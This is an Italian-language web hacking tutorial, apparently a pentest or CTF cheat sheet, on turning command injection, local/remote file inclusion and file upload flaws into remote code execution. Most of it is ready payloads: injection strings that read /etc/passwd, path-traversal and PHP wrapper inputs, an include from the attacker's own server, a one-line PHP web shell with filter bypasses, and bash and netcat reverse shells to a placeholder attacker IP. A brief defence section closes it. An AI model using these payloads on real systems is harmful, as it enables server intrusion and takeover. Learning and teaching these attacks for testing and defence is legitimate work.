Command Injection · LFI/RFI · File Upload
Tre strade classiche per passare dal "bug web" alla shell sul server (RCE — Remote Code Execution).
Command Injection
Quando un sito passa il tuo input a un comando di sistema (es. un tool di "ping" che fa ping $ip), puoi concatenare comandi tuoi con i separatori della shell:
127.0.0.1; id # esegue id dopo il ping
127.0.0.1 && whoami
127.0.0.1 | cat /etc/passwd
127.0.0.1`id` # backtick
127.0.0.1$(whoami)
Se vedi l'output di id/whoami nella pagina → hai RCE. Prossimo passo: reverse shell (sotto).
LFI / RFI (Local/Remote File Inclusion)
Un parametro carica un file (?page=home.php). Se non è filtrato, gli fai caricare file che non dovresti (path traversal):
# LFI: leggere file di sistema
?page=../../../../etc/passwd
?page=../../../../etc/passwd%00 # null byte (vecchie PHP)
# wrapper PHP: leggere il sorgente in base64
?page=php://filter/convert.base64-encode/resource=config.php
# RFI: includere un file dal TUO server (se allow_url_include=On)
?page=http://TUO_IP/shell.txt
LFI → RCE tramite "log poisoning": inietti codice PHP nell'User-Agent, che finisce nei log di Apache, poi includi il file di log via LFI. Vedi HackTricks — LFI.
File Upload → web shell
Se puoi caricare un file eseguibile lato server, carichi una web shell:
# shell.php minimale
<?php system($_GET['cmd']); ?>
# poi la richiami:
http://sito/uploads/shell.php?cmd=id
Bypass dei filtri di estensione più comuni:
- Estensioni alternative:
.phtml,.php5,.pht. - Doppia estensione:
shell.php.jpg. - Cambiare il
Content-Typeinimage/jpeg(con Burp). - Aggiungere "magic bytes" GIF (
GIF89a;) in cima al file.
Da RCE a reverse shell
Una web shell è scomoda. Meglio una reverse shell: il server si connette a te.
# 1) sulla tua Kali, metti in ascolto un listener
nc -lvnp 4444
# 2) esegui sul target (via command injection / web shell / cmd=)
bash -c 'bash -i >& /dev/tcp/TUO_IP/4444 0>&1'
# alternativa senza bash:
nc -e /bin/bash TUO_IP 4444
Difesa
- Command injection: mai passare input a shell; usare API/librerie, allowlist rigide.
- LFI: allowlist dei file caricabili, niente path dell'utente in
include,allow_url_include=Off. - Upload: validare tipo reale, rinominare i file, salvarli fuori dalla webroot, negare l'esecuzione nella cartella upload.